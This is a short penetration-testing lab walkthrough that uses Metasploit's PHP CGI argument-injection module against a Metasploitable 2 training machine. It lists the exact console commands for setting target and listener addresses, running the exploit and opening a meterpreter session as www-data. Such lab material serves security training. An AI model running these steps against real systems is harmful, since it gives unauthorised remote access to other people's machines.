Metasploit

Metasploit is a widely-used, open-source penetration testing framework developed by Rapid7. It provides security professionals and ethical hackers with a robust set of tools to identify, exploit, and validate vulnerabilities in various systems and applications. Metasploit’s comprehensive database includes hundreds of exploits for known vulnerabilities, along with payloads and auxiliary modules that facilitate tasks such as scanning, data collection, and post-exploitation. The framework supports automation and scripting, making it a versatile tool for conducting thorough security assessments and penetration tests.

We will now run metasploit with the following command msfconsole

We will run the following command to search for the module:

search php cgi injection

We are interested in exploit/multi/http/php_cgi_arg_injection. Simply run either of the commands:

use exploit/multi/http/php_cgi_arg_injection
or
use 22

Specifying the number from the search list is an easy way to initiate the module.

Once the module is initiated, run info first to check the description and make sure we are using the correct exploit. This is important as using the wrong module with the capability to potentially take down a network via a DoS attack can have major consequences during an engagement. Always make sure to use the correct tool before use.

We will now check to see what params are required in order to run the exploit but running the options command:

We will run the following commands to make sure we specify the target(RHOSTS) as well as our listener(LHOST). The default LHOST may not always work. In our scenario, we must change it to the 192.* IP because that is on the same subnet which allows us to reach the Metasploitable 2 machine.

Run the following commands:

set rhosts 192.168.100.12
set lhost 192.168.100.11

NOTE: Check your attacker IP by running ifconfig on your kali machine, it should be the one starting with 192.*

We will now run the module against the target to get a low privileged shell:
run -j

The -j tag will run the module in the background. This is useful when you are in a network with multiple targets you need to test at once with metasploit.

We get a meterpreter session on session 1:

To interact with the meterpreter session, we must run the following:
sessions 1

We have access to the target as the www-data user:

To drop into a shell on the target, run the shell command: